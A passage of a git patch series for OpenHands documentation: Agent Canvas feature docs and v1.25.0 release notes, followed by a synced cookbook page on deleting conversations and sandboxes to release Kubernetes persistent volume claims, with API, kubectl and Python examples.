+A named OpenHands profile can choose its tools from the connected server's catalog:
+
+- **Standard tools** — The agent gets the tools the server considers standard. The list follows the server, so it can change when the server is upgraded.
+- **Choose tools** — The agent gets only the tools you select. Removing a tool removes the ability, not just the instruction to avoid it.
+
+The default profile always launches with the global tool set. Create a named profile to choose its tools. If the server's tool catalog cannot be loaded, the editor shows a retry action instead of the tool list.
+
 ## ACP Profiles
 
 Use an ACP profile when you want Agent Canvas to drive an external coding agent through the Agent Client Protocol.
diff --git a/openhands/usage/agent-canvas/canvas-extensions.mdx b/openhands/usage/agent-canvas/canvas-extensions.mdx
index fddb97455..0703a3d09 100644
--- a/openhands/usage/agent-canvas/canvas-extensions.mdx
+++ b/openhands/usage/agent-canvas/canvas-extensions.mdx
@@ -75,6 +75,14 @@ Enabling an app runs its JavaScript in the same browser context as Agent Canvas.
 
 Only enable apps whose code and resolved revision you trust. An enabled app has the browser authority available to Agent Canvas and can use an authenticated helper to call the active Agent Server.
 
+### Update an App
+
+Apps installed from a Git repository or a backend-local path can be updated in place. Use the app's `Update` action to re-resolve its source and copy the new files over the installed version, without uninstalling and reinstalling it. This picks up changes even when the app's manifest version did not change. If the copy fails, the previously installed version keeps working.
+
+### App Icons
+
+An app can declare an `icon` in its manifest. When present, Agent Canvas loads the SVG from that path and shows it on the app's sidebar item and card.
+
 ## Build an App
 
 An app is a directory containing:
@@ -94,6 +102,7 @@ The current package format uses manifest schema `1` and host API `1`.
   "display_name": "Example dashboard",
   "version": "0.1.0",
   "description": "A project dashboard for Agent Canvas.",
+  "icon": "icon.svg",
   "entrypoint": "extension.js",
   "contributes": {
     "pages": [
@@ -110,7 +119,7 @@ The current package format uses manifest schema `1` and host API `1`.
 
 Use lowercase letters, numbers, and hyphens for app names and page IDs. Page paths must start with `/`, and every page ID and path must be unique within the app.
 
-The `entrypoint` must stay inside the app root. Bundle dependencies, CSS, and required assets into one browser ESM file; unresolved package imports and external runtime chunks cannot be loaded.
+The `entrypoint` must stay inside the app root. Bundle dependencies, CSS, and required assets into one browser ESM file; unresolved package imports and external runtime chunks cannot be loaded. If you declare an `icon`, it must also stay inside the app root; Agent Canvas serves it from `GET /api/canvas-extensions/installed/{name}/icon`.
 
 ### Register the Page
 
diff --git a/openhands/usage/agent-canvas/conversations.mdx b/openhands/usage/agent-canvas/conversations.mdx
index 59bf140a8..6660cd931 100644
--- a/openhands/usage/agent-canvas/conversations.mdx
+++ b/openhands/usage/agent-canvas/conversations.mdx
@@ -47,6 +47,24 @@ When an agent creates a Markdown file, Agent Canvas renders it inline as a heigh
 
 When you upload an image as part of a message or an image is produced in a conversation, Agent Canvas displays it as a thumbnail. Click the thumbnail to open the image full size in a lightbox overlay. Dismiss the lightbox by pressing Escape, clicking the close button, or clicking the backdrop.
 
+## Voice Input
+
+Agent Canvas can add an optional microphone button to the chat input so you can dictate messages. Select the microphone to start dictation and select it again to stop; the transcript is added to the composer.
+
+By default, the microphone button uses your browser's speech recognition. To use your own transcription service instead, such as a local Whisper server, open `Settings > Application > Voice input` and enter an OpenAI-compatible endpoint:
+
+| Field | Purpose |
+|-------|---------|
+| `Base URL` | The transcription endpoint, for example `https://api.openai.com/v1` |
+| `API key` | The key for that endpoint |
+| `Model` | The transcription model; defaults to `whisper-1` |
+
+These voice input settings are stored in this browser only. The API key is kept in session storage so it is not persisted at rest.
+
+
+  If dictation fails, Agent Canvas reports that dictation failed and asks you to check microphone access and your voice input settings. Grant the browser microphone permission and confirm the endpoint details before retrying.
+
+
 ## Conversation Overview Panel
 
 The conversation overview panel displays project context for the active conversation, including workspace information, git state, and loaded resources such as skills, MCP servers, and automations.
@@ -72,6 +90,20 @@ Above the file tree, the active workspace path is displayed with a copy button.
   The workspace path row is hidden when the conversation has no working directory.
 
 
+### File Discovery
+
+The Files panel discovers files per workspace. Open the file discovery settings to control what the tree includes:
+
+| Setting | Purpose |
+|---------|---------|
+| `Excluded directories` | One pattern per line. Names match anywhere; paths are relative to the workspace. Use `*/bin` to exclude nested `bin` directories while keeping the root `bin`. |
+| `Include symbolic links to files` | Include symlinks that point to files. |
+| `Maximum files (0 for unlimited)` | Cap the number of files the tree loads. Set to `0` to remove the cap. |
+
+Select `Restore defaults` to reset the settings. File discovery settings apply to this workspace on this backend, including other conversations that use the same workspace.
+
+When the number of discovered files exceeds the configured maximum, the tree is truncated and shows a finite limit notice: `Showing the first  files. This tree is incomplete. Adjust File discovery to see more.` Raise the maximum or narrow the exclusions to load more of the tree.
+
 ## Context Window Usage and Manual Compaction
 
 Agent Canvas shows a context-window meter in the composer that visualizes how much of the model's available context is in use. The meter fills as the conversation grows.
diff --git a/openhands/usage/agent-canvas/customize-and-settings.mdx b/openhands/usage/agent-canvas/customize-and-settings.mdx
index 2e3ea4e23..54b2f8cd2 100644
--- a/openhands/usage/agent-canvas/customize-and-settings.mdx
+++ b/openhands/usage/agent-canvas/customize-and-settings.mdx
@@ -53,7 +53,7 @@ The `Settings` area currently includes the following sections:
 | Section | Purpose |
 |---------|---------|
 | `Agent` | Agent Profile library and agent-specific capabilities |
-| `LLM` | Provider, model, API key, profile configuration, and provider connections |
+| `LLM` | Provider, model, API key, profile configuration, provider connections, and Model Router |
 | `Condenser` | Context compression and summarization behavior |
 | `Verification` | Approval, critic evaluation, and verification-related behavior |
 | `Application` | UI-level preferences and app behavior |
diff --git a/openhands/usage/agent-canvas/llm-profiles.mdx b/openhands/usage/agent-canvas/llm-profiles.mdx
index 22259f27b..46d5c59e2 100644
--- a/openhands/usage/agent-canvas/llm-profiles.mdx
+++ b/openhands/usage/agent-canvas/llm-profiles.mdx
@@ -100,6 +100,22 @@ Linked profiles are grouped under their Provider Connection name in the profile
 
 Edit a Provider Connection to rename it, rotate its API key, or change its base URL. The update applies to every linked profile. Before deleting a connection, re-link or change every profile that uses it; Agent Canvas prevents deleting a connection while profiles still reference it.
 
+### Bulk Add Models as Profiles
+
+When you want several models from one provider as saved profiles, use the bulk-add flow instead of creating each profile separately.
+
+1. Open `Settings > LLM` and select the add action to open `Add models as profiles`.
+2. Choose a provider from the searchable provider list.
+3. Select the models to add, or use `Select all`.
+4. Optionally select a `Provider connection` to link the new profiles to. Linked profiles inherit that connection's key; with `No connection (keyless)` selected, the profiles are created without credentials and need a key added later.
+5. Confirm to create the profiles.
+
+The same bulk-add action is available per provider connection. Use the connection's `Bulk add` action to add every selected model directly under that connection, so each new profile inherits the connection's credentials without repeating the key.
+
+
+Provider Connections are available on local agent-server backends only. On OpenHands Cloud, bulk-add creates keyless profiles unless you add a key to each one afterwards.
+
+
 ## Working with LLM Profiles
 
 LLM profiles are useful when you want different model setups for different tasks, such as:
diff --git a/openhands/usage/agent-canvas/model-configuration.mdx b/openhands/usage/agent-canvas/model-configuration.mdx
index 9bfb975a9..c05bc5b5a 100644
--- a/openhands/usage/agent-canvas/model-configuration.mdx
+++ b/openhands/usage/agent-canvas/model-configuration.mdx
@@ -37,6 +37,26 @@ When a profile uses a Provider Connection, its API key and base URL come from th
 Provider Connections are available on local agent-server backends. The panel is hidden when using an OpenHands Cloud backend.
 
 
+## Model Router
+
+A **Model Router** is a profile that routes each task to the right LLM profile instead of pinning a conversation to a single model. Manage routers from the `Model Router` section of `Settings > LLM`.
+
+To create a router:
+
+1. Open `Settings > LLM` and select `Model Router`.
+2. Select `Add Model Router`.
+3. Choose a template: `Add OpenHands Router Pro`, `Add OpenHands Router Flash`, or `Custom`. The Custom option gives you a blank slate to build your own Model Router.
+4. Review the prompt template, model table, and then select one of your saved LLM connections so the router can add any missing LLM profiles needed for that router.
+5. Review the generated configuration, then save the router. Any needed LLM profiles will be added if you selected an LLM Connection which can take a few moments. 
+
+The Model Router settings include a **Run on first message** toggle. When enabled, the first message of every new conversation is routed through the active Model Router before the agent proceeds. The toggle is off by default but it will be enabled automatically when you add your first router.
+
+Model routing requires a backend that supports it. If the connected backend does not, the `Model Router` section reports that the backend does not support model routing yet and asks you to update the agent server.
+
+
+  Model Router is separate from the [LLM profiles](/openhands/usage/agent-canvas/llm-profiles) it routes to. Each router chooses among existing profiles rather than replacing them.
+
+
 ## Direct Provider or OpenHands Profile
 
 Use the `Basic` tab when you have an API key from Anthropic, OpenAI, Google, OpenHands, or another provider in the selector.
diff --git a/openhands/usage/agent-canvas/prebuilt-automations.mdx b/openhands/usage/agent-canvas/prebuilt-automations.mdx
index 321380d0f..2bef231c1 100644
--- a/openhands/usage/agent-canvas/prebuilt-automations.mdx
+++ b/openhands/usage/agent-canvas/prebuilt-automations.mdx
@@ -41,7 +41,7 @@ For recommended automations that support a direct form setup, Agent Canvas check
 
 Some catalog entries ship a **script bundle** — a packaged set of files that install as a deterministic automation — rather than a prompt-based preset. Script-bundle entries run their own logic for tasks like polling, deduplication, and fixed API calls, using the agent only for the parts that genuinely require judgment. When a catalog entry supports a bundle install, the setup form handles packaging and upload automatically; you just fill in the required fields.
 
-Catalog entries that accept repositories can also collect multiple repositories in a single field, so one automation can monitor several repos at once.
+Catalog entries that accept repositories can also collect multiple repositories in a single field, so one automation can monitor several repos at once. Automation templates appear on cloud backends as well as local backends. Where the built-in Git integration is offered, Agent Canvas presents it before the issue-to-PR templates.
 
 For a detailed walkthrough, see [Creating Automations](/openhands/usage/automations/creating-automations).
 
diff --git a/openhands/usage/agent-canvas/release-notes/v1.25.0.mdx b/openhands/usage/agent-canvas/release-notes/v1.25.0.mdx
new file mode 100644
index 000000000..e77b6d8d2
--- /dev/null
+++ b/openhands/usage/agent-canvas/release-notes/v1.25.0.mdx
@@ -0,0 +1,36 @@
+---
+title: Agent Canvas 1.25.0
+description: Release notes for Agent Canvas version 1.25.0
+---
+
+# Agent Canvas 1.25.0
+
+Released October 6, 2026.
+
+[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.25.0).
+
+## Highlights
+
+- **Model Router settings** — Configure routers that route each task to the right LLM profile, with a **Run on first message** toggle that routes the first message of every new conversation. See [Configure a Model](/openhands/usage/agent-canvas/model-configuration#model-router).
+- **Bulk-add provider models as LLM profiles** — Create several LLM profiles at once from a provider picker, optionally binding them to a provider connection so they inherit its credentials. See [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles#bulk-add-models-as-profiles).
+- **Agent profile persona and instructions** — Give a profile its own system prompt, choosing between the OpenHands default, added instructions, or a custom persona. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles#set-a-profiles-system-prompt).
+- **Voice input** — An optional microphone button in the chat input, backed by browser speech recognition or an OpenAI-compatible transcription endpoint. See [Conversations](/openhands/usage/agent-canvas/conversations#voice-input).
+- **Workspace file discovery** — Configure which files the Files panel discovers per workspace, including excluded directories, included symlinks, and a file-count limit. See [Conversations](/openhands/usage/agent-canvas/conversations#file-discovery).
+- **Update installed Apps** — Update an app installed from a local path or Git in place, without uninstalling and reinstalling it. See [Apps (Beta)](/openhands/usage/agent-canvas/canvas-extensions).
+- **Automations dashboard filter by creator** — Filter the Automations dashboard by anyone, you, or others. See [Managing automations](/openhands/usage/agent-canvas/managing-automations).
+
+## Fixes
+
+- Agent profiles pick their tools from the server's catalog, so the available tool list follows the connected server.
+- Automation templates are offered on cloud backends, and the built-in integration is offered before issue-to-PR templates.
+- Conversation title generation uses the running agent profile's LLM.
+- Focused settings pages keep their keyboard and viewport behavior on narrow screens.
+
+## Maintenance
+
+- Pinned agent-server and SDK to 1.53.0, with Extensions and Automation dependency bumps.
+
+## Full Changelog
+
+- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.25.0)
+- [Compare v1.24.0 to v1.25.0](https://github.com/OpenHands/OpenHands/compare/v1.24.0...v1.25.0)

From e19ec655d8aced8afff1d937985735243426efe8 Mon Sep 17 00:00:00 2001
From: "openhands-release-bot[bot]"
 <290150379+openhands-release-bot[bot]@users.noreply.github.com>
Date: Wed, 7 Oct 2026 13:49:45 -0400
Subject: [PATCH 54/97] docs(cookbook): sync from OpenHands/enterprise-cookbook
 (#907)

Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@5f7c71444a399e2e5b3437d97bb7b406dfdfe60d.

Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync.

_Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/37657281472))._

Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com>
---
 cookbook/archive-sandbox.mdx            | 476 +++++++++++++++++++++
 cookbook/clone-and-attach.mdx           | 172 ++++++++
 cookbook/command-blacklist.mdx          |  56 +--
 cookbook/command-whitelist.mdx          | 242 +++++++++++
 cookbook/conversation-metrics.mdx       | 272 ++++++++++++
 cookbook/conversation-tags.mdx          |  26 +-
 cookbook/custom-agent-no-browser.mdx    | 358 ++++++++++++++++
 cookbook/custom-agent-with-pip-tool.mdx | 160 +++++++
 cookbook/custom-agent-with-tool.mdx     | 166 ++++++++
 cookbook/custom-system-prompt.mdx       | 425 +++++++++++++++++++
 cookbook/disabled-skills.mdx            | 534 ++++++++++++++++++++++++
 cookbook/finish-callback.mdx            | 289 +++++++++++++
 cookbook/gpg-commit-signing.mdx         | 194 +++++++++
 cookbook/index.mdx                      | 116 ++++-
 cookbook/launch-plugin-badge.mdx        | 252 +++++++++++
 cookbook/load-plugin.mdx                | 217 ++++++++++
 cookbook/per-conversation-secrets.mdx   | 448 ++++++++++++++++++++
 cookbook/react-to-state-websocket.mdx   | 279 +++++++++++++
 cookbook/server-info-idle.mdx           | 199 +++++++++
 cookbook/service-account-github-pat.mdx | 283 +++++++++++++
 cookbook/start-sandbox.mdx              | 136 ++++++
 cookbook/test-mcp-config.mdx            | 189 +++++++++
 cookbook/upload-skills.mdx              | 224 ++++++++++
 cookbook/watch-terminal-state.mdx       | 192 +++++++++
 cookbook/workspace-isolation.mdx        | 342 +++++++++++++++
 docs.json                               |  46 +-
 26 files changed, 6249 insertions(+), 44 deletions(-)
 create mode 100644 cookbook/archive-sandbox.mdx
 create mode 100644 cookbook/clone-and-attach.mdx
 create mode 100644 cookbook/command-whitelist.mdx
 create mode 100644 cookbook/conversation-metrics.mdx
 create mode 100644 cookbook/custom-agent-no-browser.mdx
 create mode 100644 cookbook/custom-agent-with-pip-tool.mdx
 create mode 100644 cookbook/custom-agent-with-tool.mdx
 create mode 100644 cookbook/custom-system-prompt.mdx
 create mode 100644 cookbook/disabled-skills.mdx
 create mode 100644 cookbook/finish-callback.mdx
 create mode 100644 cookbook/gpg-commit-signing.mdx
 create mode 100644 cookbook/launch-plugin-badge.mdx
 create mode 100644 cookbook/load-plugin.mdx
 create mode 100644 cookbook/per-conversation-secrets.mdx
 create mode 100644 cookbook/react-to-state-websocket.mdx
 create mode 100644 cookbook/server-info-idle.mdx
 create mode 100644 cookbook/service-account-github-pat.mdx
 create mode 100644 cookbook/start-sandbox.mdx
 create mode 100644 cookbook/test-mcp-config.mdx
 create mode 100644 cookbook/upload-skills.mdx
 create mode 100644 cookbook/watch-terminal-state.mdx
 create mode 100644 cookbook/workspace-isolation.mdx

diff --git a/cookbook/archive-sandbox.mdx b/cookbook/archive-sandbox.mdx
new file mode 100644
index 000000000..88f5a8618
--- /dev/null
+++ b/cookbook/archive-sandbox.mdx
@@ -0,0 +1,476 @@
+---
+title: Archive Sandbox
+description: Delete conversations to release their Persistent Volume Claims (PVCs) and free storage resources.
+icon: box-archive
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (archive-sandbox/README.md). Edit the source, not this file. */}
+
+
+
+This example demonstrates how to properly archive/delete OpenHands conversations to release their Persistent Volume Claims (PVCs) and free up storage resources.
+
+When you create an OpenHands conversation, the system provisions a **sandbox** (also called a "runtime") that includes:
+
+- **Kubernetes Pod** - Container running the agent-server
+- **Kubernetes Service** - Network access to the pod
+- **Persistent Volume Claim (PVC)** - Storage for the workspace files
+- **Ingress/HTTPRoute** - External routing
+- **ServiceAccount, PodDisruptionBudget** - Supporting K8s resources
+
+The PVC persists even when a conversation is paused or stopped, allowing you to resume work later. However, PVCs consume storage quota and incur costs. To release these resources, you need to **delete the conversation**, which triggers full sandbox cleanup.
+
+## How It Works
+
+Based on the [runtime-api](https://github.com/All-Hands-AI/runtime-api) implementation, here's what happens when you delete a conversation:
+
+### 1. Conversation Deletion (`DELETE /api/v1/app-conversations/{conversation_id}`)
+
+The OpenHands Cloud API:
+
+- Marks the conversation as deleted in the database
+- Checks if any other conversations share the same sandbox
+- If no other conversations use the sandbox, triggers sandbox cleanup
+
+### 2. Sandbox Cleanup (Runtime API)
+
+The runtime API's `delete_runtime_and_workspace_in_k8s()` function removes all Kubernetes resources:
+
+```python
+# From runtime-api/k8s.py
+def delete_runtime_and_workspace_in_k8s(runtime_id, pod_id: str | None = None):
+    """Delete all K8s resources for a runtime."""
+
+    # Resources deleted in order:
+    # 1. Deployment
+    # 2. ServiceAccount
+    # 3. Service
+    # 4. PersistentVolumeClaim  ← This releases the storage!
+    # 5. PodDisruptionBudget
+    # 6. HTTPRoute/Ingress
+    # 7. VolumeSnapshot (if any)
+```
+
+**Key Point**: The PVC deletion is what actually releases the storage. Once the PVC is deleted:
+
+- The underlying PersistentVolume (PV) is freed
+- Storage quota is released
+- Associated costs stop accumulating
+
+### 3. Resource Lifecycle States
+
+| State       | Pod           | PVC        | Storage Released? |
+| ----------- | ------------- | ---------- | ----------------- |
+| **RUNNING** | ✅ Running     | ✅ Exists   | ❌ No              |
+| **PAUSED**  | ❌ Scaled to 0 | ✅ Exists   | ❌ No              |
+| **STOPPED** | ❌ Deleted     | ✅ Exists\* | ❌ No              |
+| **DELETED** | ❌ Deleted     | ❌ Deleted  | ✅ **Yes**         |
+
+\* For standard (non-fuse) runtimes, the PVC persists when stopped to allow resuming. A VolumeSnapshot may be taken before deletion for archival purposes.
+
+## Prerequisites
+
+```bash
+# Set your OpenHands API key
+export OH_API_KEY="your-api-key-here"
+
+# Install dependencies
+pip install -r requirements.txt
+# or
+pip install requests
+```
+
+## Run It
+
+### Quick Start: Complete Workflow Demo
+
+Run the complete workflow example to see the entire process:
+
+```bash
+python example_create_and_archive.py
+```
+
+This will:
+
+1. Create a new test conversation (provisions sandbox + PVC)
+2. Show conversation details (sandbox_id, status, etc.)
+3. Ask for confirmation to archive
+4. Delete the conversation (releases PVC)
+5. Verify deletion
+
+Perfect for understanding the complete lifecycle!
+
+### Force Immediate PVC Cleanup
+
+If you need to release PVCs **immediately** without waiting for the cleanup cronjob, use the sandbox DELETE endpoint directly:
+
+```bash
+# List all sandboxes
+python force_cleanup.py --list
+
+# Force delete a specific sandbox (immediate PVC release)
+python force_cleanup.py 
+
+# Force delete all idle (PAUSED/STOPPED) sandboxes
+python force_cleanup.py --cleanup-idle
+```
+
+**Key Difference**:
+
+- **Conversation DELETE** (`archive_sandbox.py`) - Deletes conversation, cleans up sandbox only if no other conversations use it
+- **Sandbox DELETE** (`force_cleanup.py`) - **Forces immediate cleanup** of all K8s resources including PVC, regardless of conversation state
+
+The sandbox DELETE endpoint directly calls the runtime-api's `stop_runtime()` function, which immediately executes `delete_runtime_and_workspace_in_k8s()`. This bypasses the cleanup cronjob and releases the PVC right away.
+
+**When to use force cleanup**:
+
+- ✅ You need immediate storage release
+- ✅ You're cleaning up test/development sandboxes
+- ✅ You've verified no important data remains
+- ⚠️ **Warning**: This deletes the sandbox even if conversations still reference it!
+
+### List All Conversations
+
+```bash
+python archive_sandbox.py list
+```
+
+Output shows conversation details including:
+
+- Conversation ID
+- Title
+- Sandbox ID (the runtime ID)
+- Status (RUNNING, STOPPED, etc.)
+- Cost metrics
+
+### Archive a Specific Conversation
+
+```bash
+python archive_sandbox.py archive 
+```
+
+This will:
+
+1. Show conversation details
+2. Ask for confirmation
+3. Delete the conversation
+4. Trigger sandbox cleanup (if no other conversations use it)
+5. Release the PVC
+
+Example:
+
+```bash
+$ python archive_sandbox.py archive abc123def456
+
+Archiving conversation abc123def456...
+
+Conversation details:
+  ID: abc123def456
+  Title: My Test Conversation
+  Sandbox ID: m9dEVO2bDqar86rIaix93
+  Sandbox Status: STOPPED
+  Execution Status: stopped
+  Created: 2024-01-15T10:30:00Z
+  Updated: 2024-01-15T11:45:00Z
+  Cost: $0.4339
+
+This will delete the sandbox 'm9dEVO2bDqar86rIaix93' and release its PVC.
+
+Are you sure you want to delete this conversation? (yes/no): yes
+
+✓ Successfully deleted conversation abc123def456
+Response: {'success': True}
+
+The sandbox and its PVC have been cleaned up (if no other conversations use it).
+```
+
+### Bulk Cleanup Stopped Conversations
+
+```bash
+python archive_sandbox.py cleanup
+```
+
+This will:
+
+1. Find all stopped conversations
+2. Show a summary
+3. Ask for confirmation
+4. Archive all stopped conversations
+5. Release their PVCs
+
+This is useful for cleaning up after testing or development.
+
+## Important Concepts
+
+### Warm Runtimes and PVC Types
+
+OpenHands supports two types of sandboxes:
+
+#### Standard (PVC-backed)
+
+- PVC provisioned at startup
+- Workspace stored on persistent disk
+- PVC persists through pause/resume
+- **Must delete conversation to release PVC**
+
+#### Fuse/Dormant (S3-backed)
+
+- No PVC provisioned
+- Workspace stored in S3 via fusey
+- Mounted dynamically at claim time
+- Fast resume without PVC snapshots
+- **No PVC cleanup needed** - just deletes S3 objects
+
+### Cleanup Cronjob
+
+The runtime-api runs a cleanup cronjob (`cleanup.py`) every 5 minutes that:
+
+1. **Cleanup stuck PVCs** - Removes PVCs that never bound
+2. **Cleanup terminated pods** - Removes pods with no DB record
+3. **Pause idle runtimes** - Pauses runtimes idle > 30 min (configurable)
+4. **Snapshot and delete idle PVCs** - For paused standard runtimes
+5. **Delete old fuse workspaces** - Purges S3 objects for stopped fuse runtimes > 30 days
+6. **Delete old runtimes** - Removes K8s resources for runtimes stopped > 1 day
+
+**Important**: The cleanup cronjob does NOT delete PVCs for active or recently stopped conversations. You must explicitly delete the conversation to trigger immediate cleanup.
+
+## Files in This Example
+
+- **`archive_sandbox.py`** - Main CLI tool for archiving conversations
+- **`force_cleanup.py`** - Force immediate PVC cleanup by deleting sandbox directly
+- **`example_create_and_archive.py`** - Complete workflow demonstration
+- **`requirements.txt`** - Python dependencies
+- **`README.md`** - This documentation
+
+## Best Practices
+
+### When to Archive
+
+✅ **Do archive**:
+
+- Test conversations you no longer need
+- Failed or error conversations
+- Completed one-off tasks
+- Conversations stopped for > 7 days
+
+❌ **Don't archive**:
+
+- Active conversations (status: RUNNING)
+- Conversations you plan to resume soon
+- Conversations with important work not yet backed up
+
+### Before Archiving
+
+1. **Download important files** from the workspace
+2. **Export conversation history** if needed (use the download endpoint)
+3. **Check for workspace archives** - OpenHands may automatically archive workspaces before pause (see `tags.archiveworkspacepath`)
+
+### Workspace Archiving (Automatic)
+
+OpenHands can automatically archive workspace contents before pausing/stopping:
+
+```python
+# Environment variable controls this feature
+RUNTIME_FILE_ARCHIVE_ENABLED=true  # Enable workspace archiving
+RUNTIME_FILE_ARCHIVE_FORMATS=tar.gz,git-delta  # Archive formats
+RUNTIME_FILE_ARCHIVE_PREFIX=workspace-archives  # S3 prefix
+```
+
+If enabled, the cleanup process will:
+
+1. Download workspace as tar.gz or git-delta
+2. Upload to S3 with manifest
+3. Tag conversation with archive path
+4. Then delete the PVC
+
+Check `conversation.tags.archiveworkspacepath` to see if an archive exists.
+
+## Monitoring and Verification
+
+### Check Kubernetes Resources
+
+If you have kubectl access to the runtime cluster:
+
+```bash
+# List all runtime pods
+kubectl get pods -n runtime-pods
+
+# List all PVCs
+kubectl get pvc -n runtime-pods
+
+# Check a specific runtime's resources
+kubectl get all,pvc -n runtime-pods -l runtime_id=
+```
+
+After deleting a conversation, these resources should be removed.
+
+### Check via API
+
+```bash
+# List your conversations
+curl -H "Authorization: Bearer $OH_API_KEY" \
+  "https://app.all-hands.dev/api/v1/app-conversations/search?limit=100" | jq
+
+# Get specific conversation (returns 404 if deleted)
+curl -H "Authorization: Bearer $OH_API_KEY" \
+  "https://app.all-hands.dev/api/v1/app-conversations/" | jq
+```
+
+## Example: Full Workflow
+
+Here's a complete example of creating and archiving a sandbox:
+
+```python
+import os
+import requests
+
+API_BASE = "https://app.all-hands.dev"
+API_KEY = os.getenv("OH_API_KEY")
+headers = {"Authorization": f"Bearer {API_KEY}"}
+
+# 1. Create a conversation (creates sandbox automatically)
+response = requests.post(
+    f"{API_BASE}/api/v1/app-conversations/stream-start",
+    headers=headers,
+    json={
+        "llm_model": "claude-sonnet-4-5-20250929",
+        "agent_kind": "openhands",
+    }
+)
+conv_data = response.json()
+conversation_id = conv_data["id"]
+sandbox_id = conv_data["sandbox_id"]
+
+print(f"Created conversation {conversation_id}")
+print(f"Sandbox ID: {sandbox_id}")
+
+# 2. Do some work...
+# (send messages, run commands, etc.)
+
+# 3. Archive when done
+response = requests.delete(
+    f"{API_BASE}/api/v1/app-conversations/{conversation_id}",
+    headers=headers
+)
+
+print(f"Archived conversation {conversation_id}")
+print(f"PVC for sandbox {sandbox_id} has been released")
+```
+
+## Troubleshooting
+
+### "Conversation not found" error
+
+The conversation may already be deleted. This is safe to ignore.
+
+### PVC still exists after deletion
+
+Possible reasons:
+
+1. **Another conversation uses the same sandbox** - The sandbox is shared
+2. **Cleanup not yet run** - K8s deletion is asynchronous, may take a few seconds
+3. **Kubernetes finalizers** - PV/PVC may have finalizers delaying deletion
+
+Check:
+
+```bash
+kubectl get pvc -n runtime-pods -o yaml | grep -A 5 finalizers
+```
+
+### Can't delete running conversation
+
+You can delete running conversations - the API will stop them first. However, it's cleaner to stop them explicitly:
+
+```bash
+# Stop first (optional)
+curl -X POST \
+  -H "Authorization: Bearer $OH_API_KEY" \
+  "https://app.all-hands.dev/api/organizations//conversations//stop"
+
+# Then delete
+python archive_sandbox.py archive 
+```
+
+## Summary
+
+**Key Takeaways**:
+
+1. ✅ **Two ways to release PVCs**:
+   - **Conversation DELETE** - Deletes conversation, cleans up sandbox if not shared
+   - **Sandbox DELETE** - Force immediate cleanup, always releases PVC
+2. ✅ **No runtime-api access needed** - Use enterprise-server API with `OH_API_KEY`
+3. ✅ **Pausing/Stopping preserves the PVC** - For resuming work later
+4. ✅ **Force cleanup for immediate release** - Use `force_cleanup.py` to bypass cronjob
+5. ✅ **Bulk cleanup available** - Archive all stopped conversations/sandboxes at once
+6. ✅ **Automatic workspace archiving** - May preserve files before PVC deletion
+7. ✅ **Check before deleting** - Download important files first
+
+**Quick Decision Guide**:
+
+| Scenario                           | Use This                  | Command                                       |
+| ---------------------------------- | ------------------------- | --------------------------------------------- |
+| Clean up one finished conversation | Conversation DELETE       | `python archive_sandbox.py archive ` |
+| Need immediate storage release     | Sandbox DELETE            | `python force_cleanup.py `        |
+| Clean up all stopped conversations | Bulk conversation cleanup | `python archive_sandbox.py cleanup`           |
+| Clean up all idle sandboxes        | Bulk sandbox cleanup      | `python force_cleanup.py --cleanup-idle`      |
+
+When in doubt, remember: **DELETE sandbox → Immediate PVC release → Storage freed instantly** ✨
+
+## APIs Used
+
+### Enterprise-Server API (OpenHands Cloud)
+
+You can use these endpoints with just your `OH_API_KEY` - **no direct runtime-api access required**:
+
+| Endpoint                                                           | Method | Purpose              | PVC Cleanup                                  |
+| ------------------------------------------------------------------ | ------ | -------------------- | -------------------------------------------- |
+| `/api/v1/app-conversations/{conversation_id}`                      | DELETE | Delete conversation  | ✅ Yes, if no other conversations use sandbox |
+| `/api/v1/sandboxes/{sandbox_id}`                                   | DELETE | Force delete sandbox | ✅ **Immediate** - always deletes PVC         |
+| `/api/v1/sandboxes/{sandbox_id}/pause`                             | POST   | Pause sandbox        | ❌ No - preserves PVC                         |
+| `/api/organizations/{org_id}/conversations/{conversation_id}/stop` | POST   | Stop conversation    | ❌ No - preserves PVC                         |
+
+**Key Insight**: Both conversation DELETE and sandbox DELETE work through the enterprise-server API. You do **NOT** need direct runtime-api access to force PVC cleanup!
+
+### How It Works
+
+```mermaid
+flowchart LR
+    User -->|OH_API_KEY| ES[Enterprise-Server API]
+    ES -->|internal| RA[Runtime-API]
+    RA -->|PVC deletion| K8s[Kubernetes]
+```
+
+When you call `DELETE /api/v1/sandboxes/{sandbox_id}`:
+
+1. Enterprise-Server validates your API key
+2. Calls runtime-api's `/stop` endpoint internally
+3. Runtime-api executes `delete_runtime_and_workspace_in_k8s()`
+4. PVC is immediately deleted from Kubernetes
+
+### Runtime-API Direct Access (Optional)
+
+If you have direct runtime-api access (e.g., via port-forward for testing), you can also use:
+
+| Endpoint | Method | Purpose                               |
+| -------- | ------ | ------------------------------------- |
+| `/stop`  | POST   | Stop runtime and delete all resources |
+| `/pause` | POST   | Pause runtime (keeps PVC)             |
+| `/list`  | GET    | List all runtimes                     |
+
+However, **in production you should use the enterprise-server API** (sandbox DELETE) which provides proper authentication, rate limiting, and audit logging.
+
+## Related
+
+
+  
+    The service managing sandboxes
+  
+
+  
+    Full API reference
+  
+
+  
+    Persistent volume concepts
+  
+
diff --git a/cookbook/clone-and-attach.mdx b/cookbook/clone-and-attach.mdx
new file mode 100644
index 000000000..6ccbd1327
--- /dev/null
+++ b/cookbook/clone-and-attach.mdx
@@ -0,0 +1,172 @@
+---
+title: Clone and Attach
+description: Clone a repository and run its setup script in a sandbox, then attach a conversation to the prepared environment.
+icon: code-branch
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (clone-and-attach/README.md). Edit the source, not this file. */}
+
+
+
+This example provisions a sandbox **yourself** — shallow-cloning a git repo and
+running its setup script — and only *then* hands it to an OpenHands agent by
+**attaching a conversation** to that already-prepared sandbox.
+
+It builds directly on [`start-sandbox`](/cookbook/start-sandbox), which shows the bare
+sandbox lifecycle. Read that one first if the sandbox/agent-server split is new
+to you.
+
+## How It Works
+
